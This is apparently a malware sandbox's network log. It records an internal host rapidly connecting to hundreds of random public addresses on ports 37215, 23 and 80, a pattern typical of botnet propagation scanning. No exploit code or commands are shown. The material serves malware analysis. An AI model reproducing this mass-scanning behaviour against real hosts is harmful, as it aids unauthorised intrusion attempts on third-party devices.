Dec 3, 2024 21:47:24.238430977 CET	34043	37215	192.168.2.13	197.92.136.239
Dec 3, 2024 21:47:24.238440037 CET	34043	37215	192.168.2.13	41.36.248.133
Dec 3, 2024 21:47:24.238449097 CET	34043	37215	192.168.2.13	156.184.251.120
Dec 3, 2024 21:47:24.238457918 CET	34043	37215	192.168.2.13	197.222.63.55
Dec 3, 2024 21:47:24.238459110 CET	34043	37215	192.168.2.13	197.134.115.2
Dec 3, 2024 21:47:24.238464117 CET	34043	37215	192.168.2.13	156.91.164.41
Dec 3, 2024 21:47:24.238473892 CET	34043	37215	192.168.2.13	156.177.222.24
Dec 3, 2024 21:47:24.238487005 CET	34043	37215	192.168.2.13	41.11.249.239
Dec 3, 2024 21:47:24.238487005 CET	34043	37215	192.168.2.13	197.52.168.249
Dec 3, 2024 21:47:24.238492012 CET	34043	37215	192.168.2.13	41.222.238.166
Dec 3, 2024 21:47:24.238507032 CET	34043	37215	192.168.2.13	156.117.1.5
Dec 3, 2024 21:47:24.238512039 CET	34043	37215	192.168.2.13	156.119.17.56
Dec 3, 2024 21:47:24.238523960 CET	34043	37215	192.168.2.13	41.70.97.139
Dec 3, 2024 21:47:24.238523960 CET	34043	37215	192.168.2.13	41.246.231.114
Dec 3, 2024 21:47:24.238532066 CET	34043	37215	192.168.2.13	41.169.196.14
Dec 3, 2024 21:47:24.238538027 CET	34043	37215	192.168.2.13	156.72.117.189
Dec 3, 2024 21:47:24.238540888 CET	34043	37215	192.168.2.13	41.165.8.132
Dec 3, 2024 21:47:24.238542080 CET	34043	37215	192.168.2.13	41.27.10.254
Dec 3, 2024 21:47:24.238558054 CET	34043	37215	192.168.2.13	156.122.146.230
Dec 3, 2024 21:47:24.238558054 CET	34043	37215	192.168.2.13	197.142.12.180
Dec 3, 2024 21:47:24.238564014 CET	34043	37215	192.168.2.13	197.237.55.222
Dec 3, 2024 21:47:24.238581896 CET	34043	37215	192.168.2.13	156.231.117.24
Dec 3, 2024 21:47:24.238583088 CET	34043	37215	192.168.2.13	156.70.230.194
Dec 3, 2024 21:47:24.238585949 CET	34043	37215	192.168.2.13	41.254.161.126
Dec 3, 2024 21:47:24.238595009 CET	34043	37215	192.168.2.13	41.81.121.130
Dec 3, 2024 21:47:24.238603115 CET	34043	37215	192.168.2.13	41.253.191.249
Dec 3, 2024 21:47:24.238603115 CET	34043	37215	192.168.2.13	156.198.208.93
Dec 3, 2024 21:47:24.238609076 CET	34043	37215	192.168.2.13	156.84.200.9
Dec 3, 2024 21:47:24.238620996 CET	34043	37215	192.168.2.13	197.220.30.148
Dec 3, 2024 21:47:24.239134073 CET	43458	37215	192.168.2.13	197.131.66.97
Dec 3, 2024 21:47:24.239705086 CET	36714	37215	192.168.2.13	197.21.36.108
Dec 3, 2024 21:47:24.240278006 CET	38170	37215	192.168.2.13	197.57.94.143
Dec 3, 2024 21:47:24.240868092 CET	59244	37215	192.168.2.13	41.196.63.217
Dec 3, 2024 21:47:24.241450071 CET	41900	37215	192.168.2.13	41.252.167.141
Dec 3, 2024 21:47:24.241996050 CET	60122	37215	192.168.2.13	156.167.186.216
Dec 3, 2024 21:47:24.242778063 CET	36642	37215	192.168.2.13	41.78.110.252
Dec 3, 2024 21:47:24.243340015 CET	59828	37215	192.168.2.13	197.89.191.125
Dec 3, 2024 21:47:24.243983030 CET	59260	37215	192.168.2.13	156.9.237.76
Dec 3, 2024 21:47:24.244596004 CET	48862	23	192.168.2.13	73.150.150.92
Dec 3, 2024 21:47:24.244596004 CET	59248	23	192.168.2.13	43.84.8.246
Dec 3, 2024 21:47:24.244596958 CET	49000	23	192.168.2.13	167.235.6.156
Dec 3, 2024 21:47:24.244606018 CET	47762	23	192.168.2.13	48.236.76.173
Dec 3, 2024 21:47:24.244606018 CET	57744	37215	192.168.2.13	156.224.249.242
Dec 3, 2024 21:47:24.244611025 CET	46002	23	192.168.2.13	44.60.205.233
Dec 3, 2024 21:47:24.244615078 CET	37992	23	192.168.2.13	206.48.126.221
Dec 3, 2024 21:47:24.244615078 CET	50362	23	192.168.2.13	31.178.176.234
Dec 3, 2024 21:47:24.244621038 CET	49118	23	192.168.2.13	62.124.111.205
Dec 3, 2024 21:47:24.244626045 CET	33998	23	192.168.2.13	19.80.3.128
Dec 3, 2024 21:47:24.244626045 CET	46324	23	192.168.2.13	175.247.55.142
Dec 3, 2024 21:47:24.244628906 CET	59482	23	192.168.2.13	38.63.8.234
Dec 3, 2024 21:47:24.244637012 CET	57628	23	192.168.2.13	170.42.28.214
Dec 3, 2024 21:47:24.244641066 CET	45664	23	192.168.2.13	146.153.47.191
Dec 3, 2024 21:47:24.244649887 CET	42530	23	192.168.2.13	216.212.196.230
Dec 3, 2024 21:47:24.244642019 CET	36368	23	192.168.2.13	68.252.147.39
Dec 3, 2024 21:47:24.244656086 CET	54528	23	192.168.2.13	178.34.211.147
Dec 3, 2024 21:47:24.244656086 CET	39704	23	192.168.2.13	109.198.207.218
Dec 3, 2024 21:47:24.244656086 CET	54070	23	192.168.2.13	67.218.64.71
Dec 3, 2024 21:47:24.244658947 CET	57260	23	192.168.2.13	156.254.170.22
Dec 3, 2024 21:47:24.244661093 CET	34682	23	192.168.2.13	25.158.72.231
Dec 3, 2024 21:47:24.244661093 CET	60824	23	192.168.2.13	23.186.252.78
Dec 3, 2024 21:47:24.244662046 CET	34742	23	192.168.2.13	37.25.71.45
Dec 3, 2024 21:47:24.244664907 CET	53592	23	192.168.2.13	167.70.21.246
Dec 3, 2024 21:47:24.244664907 CET	40406	23	192.168.2.13	178.90.53.135
Dec 3, 2024 21:47:24.244666100 CET	56956	23	192.168.2.13	218.167.182.154
Dec 3, 2024 21:47:24.244667053 CET	34128	23	192.168.2.13	60.73.255.250
Dec 3, 2024 21:47:24.244672060 CET	44166	80	192.168.2.13	216.86.73.213
Dec 3, 2024 21:47:24.244680882 CET	45536	80	192.168.2.13	85.191.219.104
Dec 3, 2024 21:47:24.244680882 CET	33078	80	192.168.2.13	188.144.231.150
Dec 3, 2024 21:47:24.244680882 CET	47456	80	192.168.2.13	223.183.74.127
Dec 3, 2024 21:47:24.244689941 CET	38744	80	192.168.2.13	4.180.186.180
Dec 3, 2024 21:47:24.244690895 CET	53154	80	192.168.2.13	43.255.192.11
Dec 3, 2024 21:47:24.244698048 CET	54972	23	192.168.2.13	82.16.186.186
Dec 3, 2024 21:47:24.244698048 CET	59528	23	192.168.2.13	169.186.76.182
Dec 3, 2024 21:47:24.244698048 CET	36692	23	192.168.2.13	43.99.84.63
Dec 3, 2024 21:47:24.244703054 CET	44884	80	192.168.2.13	80.129.90.154
Dec 3, 2024 21:47:24.244704962 CET	45544	80	192.168.2.13	204.63.224.200
Dec 3, 2024 21:47:24.244704962 CET	37710	80	192.168.2.13	130.37.189.23
Dec 3, 2024 21:47:24.244708061 CET	56262	80	192.168.2.13	51.164.5.25
Dec 3, 2024 21:47:24.244715929 CET	53408	80	192.168.2.13	54.112.254.106
Dec 3, 2024 21:47:24.244719028 CET	52588	80	192.168.2.13	36.36.163.1
Dec 3, 2024 21:47:24.244724989 CET	34836	80	192.168.2.13	105.173.175.189
Dec 3, 2024 21:47:24.244724989 CET	35002	80	192.168.2.13	159.139.254.9
Dec 3, 2024 21:47:24.244735003 CET	46314	80	192.168.2.13	49.248.111.165
Dec 3, 2024 21:47:24.244744062 CET	50634	80	192.168.2.13	134.155.154.104
Dec 3, 2024 21:47:24.244745016 CET	45428	80	192.168.2.13	154.59.225.82
Dec 3, 2024 21:47:24.244749069 CET	43554	80	192.168.2.13	219.18.22.75
Dec 3, 2024 21:47:24.244749069 CET	43206	80	192.168.2.13	53.65.115.245
Dec 3, 2024 21:47:24.244751930 CET	51402	80	192.168.2.13	89.70.128.197
Dec 3, 2024 21:47:24.244755030 CET	57852	80	192.168.2.13	98.126.23.157
Dec 3, 2024 21:47:24.244761944 CET	53746	80	192.168.2.13	136.169.245.94
Dec 3, 2024 21:47:24.244765043 CET	35092	80	192.168.2.13	174.7.104.47
Dec 3, 2024 21:47:24.245400906 CET	37690	37215	192.168.2.13	197.66.54.252
Dec 3, 2024 21:47:24.245964050 CET	44252	37215	192.168.2.13	41.59.158.178
Dec 3, 2024 21:47:24.246517897 CET	51858	37215	192.168.2.13	156.137.59.179
Dec 3, 2024 21:47:24.247046947 CET	49896	37215	192.168.2.13	156.186.192.169
Dec 3, 2024 21:47:24.247592926 CET	47108	37215	192.168.2.13	156.1.31.252
Dec 3, 2024 21:47:24.248131037 CET	47568	37215	192.168.2.13	156.227.147.148
Dec 3, 2024 21:47:24.248670101 CET	59258	37215	192.168.2.13	197.85.113.143
Dec 3, 2024 21:47:24.249195099 CET	41344	37215	192.168.2.13	41.206.100.21
Dec 3, 2024 21:47:24.249692917 CET	34438	37215	192.168.2.13	41.11.208.38
Dec 3, 2024 21:47:24.250207901 CET	46270	37215	192.168.2.13	197.101.126.167
Dec 3, 2024 21:47:24.250731945 CET	33198	37215	192.168.2.13	41.204.185.224
Dec 3, 2024 21:47:24.251235008 CET	34534	37215	192.168.2.13	197.105.1.48
Dec 3, 2024 21:47:24.251730919 CET	47650	37215	192.168.2.13	156.18.176.47
Dec 3, 2024 21:47:24.252244949 CET	43096	37215	192.168.2.13	197.191.47.123
Dec 3, 2024 21:47:24.252757072 CET	46910	37215	192.168.2.13	156.244.170.80
Dec 3, 2024 21:47:24.253267050 CET	58070	37215	192.168.2.13	156.241.177.227
Dec 3, 2024 21:47:24.253771067 CET	34998	37215	192.168.2.13	197.189.180.232
Dec 3, 2024 21:47:24.254276037 CET	47708	37215	192.168.2.13	197.241.234.235
Dec 3, 2024 21:47:24.254839897 CET	51976	37215	192.168.2.13	156.41.38.126
Dec 3, 2024 21:47:24.255374908 CET	56148	37215	192.168.2.13	41.151.149.109
Dec 3, 2024 21:47:24.255856037 CET	51982	37215	192.168.2.13	197.155.147.73
Dec 3, 2024 21:47:24.256354094 CET	42164	37215	192.168.2.13	197.22.134.226
Dec 3, 2024 21:47:24.256856918 CET	60128	37215	192.168.2.13	156.142.143.175
Dec 3, 2024 21:47:24.257359982 CET	55416	37215	192.168.2.13	156.155.65.188
Dec 3, 2024 21:47:24.257864952 CET	36698	37215	192.168.2.13	41.26.12.27
Dec 3, 2024 21:47:24.258367062 CET	54482	37215	192.168.2.13	41.159.45.219
Dec 3, 2024 21:47:24.258873940 CET	38252	37215	192.168.2.13	197.217.135.4
Dec 3, 2024 21:47:24.259371996 CET	52824	37215	192.168.2.13	41.70.169.235
Dec 3, 2024 21:47:24.259861946 CET	51350	37215	192.168.2.13	156.120.218.74
Dec 3, 2024 21:47:24.260384083 CET	53170	37215	192.168.2.13	197.127.150.255
Dec 3, 2024 21:47:24.260893106 CET	51292	37215	192.168.2.13	41.130.219.75
Dec 3, 2024 21:47:24.261398077 CET	53918	37215	192.168.2.13	156.115.33.143
Dec 3, 2024 21:47:24.261879921 CET	51276	37215	192.168.2.13	197.49.143.54
Dec 3, 2024 21:47:24.262402058 CET	35676	37215	192.168.2.13	197.66.11.86
Dec 3, 2024 21:47:24.262936115 CET	42048	37215	192.168.2.13	197.140.239.213
Dec 3, 2024 21:47:24.263516903 CET	46186	37215	192.168.2.13	197.51.35.142
Dec 3, 2024 21:47:24.264018059 CET	49998	37215	192.168.2.13	197.216.132.14
Dec 3, 2024 21:47:24.264552116 CET	49042	37215	192.168.2.13	156.81.165.124
Dec 3, 2024 21:47:24.265089989 CET	53288	37215	192.168.2.13	197.197.99.27
Dec 3, 2024 21:47:24.265608072 CET	52870	37215	192.168.2.13	156.230.149.174
Dec 3, 2024 21:47:24.266119003 CET	35446	37215	192.168.2.13	41.18.160.244
Dec 3, 2024 21:47:24.266654968 CET	39234	37215	192.168.2.13	197.70.204.94
Dec 3, 2024 21:47:24.267255068 CET	59084	37215	192.168.2.13	41.248.180.24
Dec 3, 2024 21:47:24.267760038 CET	52076	37215	192.168.2.13	156.244.222.255
Dec 3, 2024 21:47:24.268290043 CET	47096	37215	192.168.2.13	41.60.115.8
Dec 3, 2024 21:47:24.268685102 CET	80	48124	173.99.172.238	192.168.2.13
Dec 3, 2024 21:47:24.268702984 CET	80	39226	190.171.181.209	192.168.2.13
Dec 3, 2024 21:47:24.268718958 CET	80	35812	216.217.165.253	192.168.2.13
Dec 3, 2024 21:47:24.268784046 CET	48124	80	192.168.2.13	173.99.172.238
Dec 3, 2024 21:47:24.268799067 CET	39226	80	192.168.2.13	190.171.181.209
Dec 3, 2024 21:47:24.268810034 CET	35812	80	192.168.2.13	216.217.165.253
Dec 3, 2024 21:47:24.268820047 CET	55164	37215	192.168.2.13	156.238.129.211
Dec 3, 2024 21:47:24.268981934 CET	39419	80	192.168.2.13	174.19.74.246
Dec 3, 2024 21:47:24.269007921 CET	39419	80	192.168.2.13	202.24.235.29
Dec 3, 2024 21:47:24.269016981 CET	39419	80	192.168.2.13	218.128.111.249
Dec 3, 2024 21:47:24.269023895 CET	39419	80	192.168.2.13	128.0.31.10
Dec 3, 2024 21:47:24.269042015 CET	39419	80	192.168.2.13	168.82.188.33
Dec 3, 2024 21:47:24.269047022 CET	39419	80	192.168.2.13	84.75.177.39
Dec 3, 2024 21:47:24.269077063 CET	39419	80	192.168.2.13	136.230.209.195
Dec 3, 2024 21:47:24.269083977 CET	39419	80	192.168.2.13	25.93.139.121
Dec 3, 2024 21:47:24.269092083 CET	39419	80	192.168.2.13	182.162.46.235
Dec 3, 2024 21:47:24.269108057 CET	39419	80	192.168.2.13	115.8.36.118
Dec 3, 2024 21:47:24.269119978 CET	39419	80	192.168.2.13	37.15.129.2
Dec 3, 2024 21:47:24.269134045 CET	39419	80	192.168.2.13	165.86.177.62
Dec 3, 2024 21:47:24.269141912 CET	39419	80	192.168.2.13	70.180.243.233
Dec 3, 2024 21:47:24.269164085 CET	39419	80	192.168.2.13	152.22.180.102
Dec 3, 2024 21:47:24.269247055 CET	39419	80	192.168.2.13	213.167.60.227
Dec 3, 2024 21:47:24.269264936 CET	39419	80	192.168.2.13	221.145.246.140
Dec 3, 2024 21:47:24.269264936 CET	39419	80	192.168.2.13	220.247.13.71
Dec 3, 2024 21:47:24.269269943 CET	39419	80	192.168.2.13	154.180.166.143
Dec 3, 2024 21:47:24.269269943 CET	39419	80	192.168.2.13	163.226.172.183
Dec 3, 2024 21:47:24.269273996 CET	39419	80	192.168.2.13	196.18.91.169
Dec 3, 2024 21:47:24.269278049 CET	39419	80	192.168.2.13	210.209.180.92
Dec 3, 2024 21:47:24.269285917 CET	39419	80	192.168.2.13	187.137.52.191
Dec 3, 2024 21:47:24.269300938 CET	39419	80	192.168.2.13	119.236.246.208
Dec 3, 2024 21:47:24.269304037 CET	39419	80	192.168.2.13	25.178.86.41
Dec 3, 2024 21:47:24.269305944 CET	39419	80	192.168.2.13	124.114.36.198
Dec 3, 2024 21:47:24.269315958 CET	39419	80	192.168.2.13	141.30.215.174
Dec 3, 2024 21:47:24.269318104 CET	39419	80	192.168.2.13	70.12.51.164
Dec 3, 2024 21:47:24.269329071 CET	39419	80	192.168.2.13	156.90.31.231
Dec 3, 2024 21:47:24.269331932 CET	39419	80	192.168.2.13	133.148.220.22
Dec 3, 2024 21:47:24.269335032 CET	39419	80	192.168.2.13	12.150.86.65
Dec 3, 2024 21:47:24.269340038 CET	39419	80	192.168.2.13	90.96.112.253
Dec 3, 2024 21:47:24.269365072 CET	39419	80	192.168.2.13	81.162.221.83
Dec 3, 2024 21:47:24.269370079 CET	39419	80	192.168.2.13	191.115.154.111
Dec 3, 2024 21:47:24.269370079 CET	39419	80	192.168.2.13	121.220.130.154
Dec 3, 2024 21:47:24.269370079 CET	39419	80	192.168.2.13	99.189.71.179
Dec 3, 2024 21:47:24.269371986 CET	39419	80	192.168.2.13	35.232.221.247
Dec 3, 2024 21:47:24.269377947 CET	39419	80	192.168.2.13	162.181.4.136
Dec 3, 2024 21:47:24.269386053 CET	39419	80	192.168.2.13	53.114.167.166
Dec 3, 2024 21:47:24.269387007 CET	39419	80	192.168.2.13	223.103.192.247
Dec 3, 2024 21:47:24.269388914 CET	39419	80	192.168.2.13	103.10.124.23
Dec 3, 2024 21:47:24.269388914 CET	39419	80	192.168.2.13	18.144.220.151
Dec 3, 2024 21:47:24.269388914 CET	39419	80	192.168.2.13	73.36.192.82
Dec 3, 2024 21:47:24.269403934 CET	45824	37215	192.168.2.13	41.227.92.100
Dec 3, 2024 21:47:24.269404888 CET	39419	80	192.168.2.13	142.0.98.91
Dec 3, 2024 21:47:24.269409895 CET	39419	80	192.168.2.13	60.5.99.252
Dec 3, 2024 21:47:24.269423962 CET	39419	80	192.168.2.13	118.140.202.203
Dec 3, 2024 21:47:24.269434929 CET	39419	80	192.168.2.13	220.156.67.55
Dec 3, 2024 21:47:24.269437075 CET	39419	80	192.168.2.13	169.135.122.20
Dec 3, 2024 21:47:24.269437075 CET	39419	80	192.168.2.13	144.31.242.166
Dec 3, 2024 21:47:24.269444942 CET	39419	80	192.168.2.13	102.139.237.141
Dec 3, 2024 21:47:24.269448996 CET	39419	80	192.168.2.13	70.244.179.113
Dec 3, 2024 21:47:24.269468069 CET	39419	80	192.168.2.13	142.229.241.48
Dec 3, 2024 21:47:24.269473076 CET	39419	80	192.168.2.13	96.85.129.246
Dec 3, 2024 21:47:24.269475937 CET	39419	80	192.168.2.13	62.59.193.56
Dec 3, 2024 21:47:24.269483089 CET	39419	80	192.168.2.13	93.73.6.107
Dec 3, 2024 21:47:24.269485950 CET	39419	80	192.168.2.13	2.252.129.70
Dec 3, 2024 21:47:24.269503117 CET	39419	80	192.168.2.13	188.62.79.195
Dec 3, 2024 21:47:24.269509077 CET	39419	80	192.168.2.13	2.7.5.206
Dec 3, 2024 21:47:24.269515991 CET	39419	80	192.168.2.13	196.163.179.73
Dec 3, 2024 21:47:24.269500971 CET	39419	80	192.168.2.13	141.175.160.66
Dec 3, 2024 21:47:24.269522905 CET	39419	80	192.168.2.13	112.51.185.94
Dec 3, 2024 21:47:24.269526958 CET	39419	80	192.168.2.13	220.151.205.31
Dec 3, 2024 21:47:24.269534111 CET	39419	80	192.168.2.13	166.110.228.190
Dec 3, 2024 21:47:24.269537926 CET	39419	80	192.168.2.13	169.17.136.170
Dec 3, 2024 21:47:24.269537926 CET	39419	80	192.168.2.13	101.106.65.224
Dec 3, 2024 21:47:24.269541025 CET	39419	80	192.168.2.13	116.240.34.107
Dec 3, 2024 21:47:24.269546986 CET	39419	80	192.168.2.13	171.66.63.110
Dec 3, 2024 21:47:24.269551039 CET	39419	80	192.168.2.13	91.238.65.149
Dec 3, 2024 21:47:24.269558907 CET	39419	80	192.168.2.13	208.189.157.180
Dec 3, 2024 21:47:24.269570112 CET	39419	80	192.168.2.13	163.85.179.39
Dec 3, 2024 21:47:24.269582033 CET	39419	80	192.168.2.13	192.164.36.183
Dec 3, 2024 21:47:24.269584894 CET	39419	80	192.168.2.13	27.211.131.45
Dec 3, 2024 21:47:24.269599915 CET	39419	80	192.168.2.13	147.18.75.174
Dec 3, 2024 21:47:24.269608021 CET	39419	80	192.168.2.13	116.212.11.221
Dec 3, 2024 21:47:24.269613981 CET	39419	80	192.168.2.13	107.26.190.109
Dec 3, 2024 21:47:24.269625902 CET	39419	80	192.168.2.13	76.48.165.171
Dec 3, 2024 21:47:24.269632101 CET	39419	80	192.168.2.13	129.203.254.255
Dec 3, 2024 21:47:24.269646883 CET	39419	80	192.168.2.13	140.1.69.168
Dec 3, 2024 21:47:24.269646883 CET	39419	80	192.168.2.13	104.147.178.128
Dec 3, 2024 21:47:24.269646883 CET	39419	80	192.168.2.13	69.62.82.4
Dec 3, 2024 21:47:24.269649029 CET	39419	80	192.168.2.13	131.28.66.214
Dec 3, 2024 21:47:24.269653082 CET	39419	80	192.168.2.13	23.237.162.36
Dec 3, 2024 21:47:24.269655943 CET	39419	80	192.168.2.13	113.177.117.82
Dec 3, 2024 21:47:24.269659042 CET	39419	80	192.168.2.13	103.163.105.70
Dec 3, 2024 21:47:24.269663095 CET	39419	80	192.168.2.13	47.249.105.76
Dec 3, 2024 21:47:24.269664049 CET	39419	80	192.168.2.13	85.201.105.92
Dec 3, 2024 21:47:24.269685030 CET	39419	80	192.168.2.13	176.236.33.180
Dec 3, 2024 21:47:24.269686937 CET	39419	80	192.168.2.13	54.243.155.5
Dec 3, 2024 21:47:24.269690037 CET	39419	80	192.168.2.13	122.63.217.224
Dec 3, 2024 21:47:24.269690037 CET	39419	80	192.168.2.13	166.52.195.161
Dec 3, 2024 21:47:24.269690990 CET	39419	80	192.168.2.13	1.31.209.101
Dec 3, 2024 21:47:24.269692898 CET	39419	80	192.168.2.13	209.180.199.9
Dec 3, 2024 21:47:24.269694090 CET	39419	80	192.168.2.13	223.62.43.138
Dec 3, 2024 21:47:24.269694090 CET	39419	80	192.168.2.13	20.101.111.102
Dec 3, 2024 21:47:24.269694090 CET	39419	80	192.168.2.13	58.215.104.197
Dec 3, 2024 21:47:24.269707918 CET	39419	80	192.168.2.13	128.232.147.17
Dec 3, 2024 21:47:24.269715071 CET	39419	80	192.168.2.13	85.135.240.193
Dec 3, 2024 21:47:24.269715071 CET	39419	80	192.168.2.13	76.211.228.195
Dec 3, 2024 21:47:24.269718885 CET	39419	80	192.168.2.13	170.69.234.189
Dec 3, 2024 21:47:24.269723892 CET	39419	80	192.168.2.13	113.194.60.241
Dec 3, 2024 21:47:24.269733906 CET	39419	80	192.168.2.13	165.22.91.2
Dec 3, 2024 21:47:24.269747019 CET	39419	80	192.168.2.13	110.1.154.12
Dec 3, 2024 21:47:24.269747972 CET	39419	80	192.168.2.13	138.111.171.4
Dec 3, 2024 21:47:24.269752026 CET	39419	80	192.168.2.13	99.61.76.216
Dec 3, 2024 21:47:24.269758940 CET	39419	80	192.168.2.13	157.245.86.164
Dec 3, 2024 21:47:24.269763947 CET	39419	80	192.168.2.13	105.59.4.188
Dec 3, 2024 21:47:24.269767046 CET	39419	80	192.168.2.13	119.21.130.15
Dec 3, 2024 21:47:24.269768000 CET	39419	80	192.168.2.13	59.101.101.1
Dec 3, 2024 21:47:24.269788027 CET	39419	80	192.168.2.13	118.7.64.188
Dec 3, 2024 21:47:24.269789934 CET	39419	80	192.168.2.13	94.51.246.225
Dec 3, 2024 21:47:24.269795895 CET	39419	80	192.168.2.13	148.108.160.109
Dec 3, 2024 21:47:24.269803047 CET	39419	80	192.168.2.13	17.247.193.112
Dec 3, 2024 21:47:24.269814968 CET	39419	80	192.168.2.13	205.206.155.121
Dec 3, 2024 21:47:24.269815922 CET	39419	80	192.168.2.13	139.73.9.197
Dec 3, 2024 21:47:24.269823074 CET	39419	80	192.168.2.13	210.85.217.54
Dec 3, 2024 21:47:24.269830942 CET	39419	80	192.168.2.13	170.230.230.71
Dec 3, 2024 21:47:24.269830942 CET	39419	80	192.168.2.13	9.8.156.235
Dec 3, 2024 21:47:24.269836903 CET	39419	80	192.168.2.13	202.34.58.128
Dec 3, 2024 21:47:24.269849062 CET	39419	80	192.168.2.13	62.170.146.117
Dec 3, 2024 21:47:24.269851923 CET	39419	80	192.168.2.13	161.241.13.175
Dec 3, 2024 21:47:24.269860983 CET	39419	80	192.168.2.13	68.76.224.2
Dec 3, 2024 21:47:24.269865990 CET	39419	80	192.168.2.13	113.34.201.228
Dec 3, 2024 21:47:24.269875050 CET	39419	80	192.168.2.13	20.55.11.204
Dec 3, 2024 21:47:24.269893885 CET	39419	80	192.168.2.13	2.219.94.52
Dec 3, 2024 21:47:24.269896984 CET	39419	80	192.168.2.13	204.144.140.199
Dec 3, 2024 21:47:24.269897938 CET	39419	80	192.168.2.13	43.161.102.15
Dec 3, 2024 21:47:24.269912958 CET	39419	80	192.168.2.13	118.4.135.75
Dec 3, 2024 21:47:24.269918919 CET	39419	80	192.168.2.13	31.80.102.171
Dec 3, 2024 21:47:24.269925117 CET	39419	80	192.168.2.13	34.72.103.72
Dec 3, 2024 21:47:24.269934893 CET	39419	80	192.168.2.13	141.192.100.104
Dec 3, 2024 21:47:24.269934893 CET	39419	80	192.168.2.13	152.153.134.49
Dec 3, 2024 21:47:24.269937038 CET	39419	80	192.168.2.13	5.86.241.60
Dec 3, 2024 21:47:24.269944906 CET	39419	80	192.168.2.13	90.227.235.28
Dec 3, 2024 21:47:24.269959927 CET	39419	80	192.168.2.13	114.252.63.174
Dec 3, 2024 21:47:24.269977093 CET	39419	80	192.168.2.13	113.93.108.116
Dec 3, 2024 21:47:24.269978046 CET	39419	80	192.168.2.13	52.30.245.161
Dec 3, 2024 21:47:24.269985914 CET	35846	37215	192.168.2.13	197.79.18.120
Dec 3, 2024 21:47:24.269988060 CET	39419	80	192.168.2.13	135.100.95.51
Dec 3, 2024 21:47:24.269995928 CET	39419	80	192.168.2.13	145.60.39.127
Dec 3, 2024 21:47:24.269995928 CET	39419	80	192.168.2.13	14.158.189.141
Dec 3, 2024 21:47:24.270011902 CET	39419	80	192.168.2.13	25.251.208.137
Dec 3, 2024 21:47:24.270011902 CET	39419	80	192.168.2.13	66.110.228.188
Dec 3, 2024 21:47:24.270020962 CET	39419	80	192.168.2.13	209.62.121.237
Dec 3, 2024 21:47:24.270039082 CET	39419	80	192.168.2.13	187.131.144.214
Dec 3, 2024 21:47:24.270040989 CET	39419	80	192.168.2.13	88.55.126.6
Dec 3, 2024 21:47:24.270059109 CET	39419	80	192.168.2.13	132.179.147.233
Dec 3, 2024 21:47:24.270061970 CET	39419	80	192.168.2.13	185.135.145.123
Dec 3, 2024 21:47:24.270061970 CET	39419	80	192.168.2.13	42.79.208.211
Dec 3, 2024 21:47:24.270066977 CET	39419	80	192.168.2.13	14.158.61.127
Dec 3, 2024 21:47:24.270067930 CET	39419	80	192.168.2.13	113.188.217.17
Dec 3, 2024 21:47:24.270077944 CET	39419	80	192.168.2.13	222.69.61.57
Dec 3, 2024 21:47:24.270085096 CET	39419	80	192.168.2.13	5.216.41.207
Dec 3, 2024 21:47:24.270092010 CET	39419	80	192.168.2.13	83.93.32.35
Dec 3, 2024 21:47:24.270104885 CET	39419	80	192.168.2.13	148.174.215.29
Dec 3, 2024 21:47:24.270112038 CET	39419	80	192.168.2.13	23.240.187.4
Dec 3, 2024 21:47:24.270112038 CET	39419	80	192.168.2.13	154.65.197.151
Dec 3, 2024 21:47:24.270112991 CET	39419	80	192.168.2.13	161.189.48.113
Dec 3, 2024 21:47:24.270114899 CET	39419	80	192.168.2.13	38.93.196.100
Dec 3, 2024 21:47:24.270119905 CET	39419	80	192.168.2.13	24.91.221.66
Dec 3, 2024 21:47:24.270123005 CET	39419	80	192.168.2.13	90.173.25.245
Dec 3, 2024 21:47:24.270134926 CET	39419	80	192.168.2.13	84.208.83.211
Dec 3, 2024 21:47:24.270138979 CET	39419	80	192.168.2.13	73.35.51.108
Dec 3, 2024 21:47:24.270162106 CET	39419	80	192.168.2.13	170.9.115.66
Dec 3, 2024 21:47:24.270169020 CET	39419	80	192.168.2.13	221.29.48.235
Dec 3, 2024 21:47:24.270174980 CET	39419	80	192.168.2.13	45.155.183.192
Dec 3, 2024 21:47:24.270189047 CET	39419	80	192.168.2.13	121.11.172.31
Dec 3, 2024 21:47:24.270189047 CET	39419	80	192.168.2.13	99.181.52.8
Dec 3, 2024 21:47:24.270190954 CET	39419	80	192.168.2.13	178.209.4.125
Dec 3, 2024 21:47:24.270191908 CET	39419	80	192.168.2.13	120.208.186.1
Dec 3, 2024 21:47:24.270199060 CET	39419	80	192.168.2.13	163.194.6.179
Dec 3, 2024 21:47:24.270205975 CET	39419	80	192.168.2.13	65.226.215.190
Dec 3, 2024 21:47:24.270212889 CET	39419	80	192.168.2.13	152.81.185.219
Dec 3, 2024 21:47:24.270221949 CET	39419	80	192.168.2.13	24.234.200.144
Dec 3, 2024 21:47:24.270226955 CET	39419	80	192.168.2.13	185.209.76.233
Dec 3, 2024 21:47:24.270242929 CET	39419	80	192.168.2.13	108.103.18.28
Dec 3, 2024 21:47:24.270242929 CET	39419	80	192.168.2.13	131.23.218.40
Dec 3, 2024 21:47:24.270255089 CET	39419	80	192.168.2.13	128.141.50.108
Dec 3, 2024 21:47:24.270266056 CET	39419	80	192.168.2.13	102.6.140.206
Dec 3, 2024 21:47:24.270258904 CET	39419	80	192.168.2.13	212.108.46.131
Dec 3, 2024 21:47:24.270277023 CET	39419	80	192.168.2.13	88.19.67.2
Dec 3, 2024 21:47:24.270281076 CET	39419	80	192.168.2.13	63.8.129.233
Dec 3, 2024 21:47:24.270287037 CET	39419	80	192.168.2.13	108.220.125.204
Dec 3, 2024 21:47:24.270294905 CET	39419	80	192.168.2.13	34.55.133.243
Dec 3, 2024 21:47:24.270299911 CET	39419	80	192.168.2.13	165.67.227.241
Dec 3, 2024 21:47:24.270307064 CET	39419	80	192.168.2.13	205.134.4.218
Dec 3, 2024 21:47:24.270309925 CET	39419	80	192.168.2.13	216.101.57.137
Dec 3, 2024 21:47:24.270328999 CET	39419	80	192.168.2.13	12.238.24.133
Dec 3, 2024 21:47:24.270322084 CET	39419	80	192.168.2.13	147.147.180.49
Dec 3, 2024 21:47:24.270339966 CET	39419	80	192.168.2.13	77.45.204.202
Dec 3, 2024 21:47:24.270344019 CET	39419	80	192.168.2.13	107.51.34.37
Dec 3, 2024 21:47:24.270363092 CET	39419	80	192.168.2.13	116.79.160.89
Dec 3, 2024 21:47:24.270363092 CET	39419	80	192.168.2.13	181.73.104.121
Dec 3, 2024 21:47:24.270364046 CET	39419	80	192.168.2.13	101.33.239.136
Dec 3, 2024 21:47:24.270369053 CET	39419	80	192.168.2.13	217.192.204.76
Dec 3, 2024 21:47:24.270370960 CET	39419	80	192.168.2.13	45.49.100.240
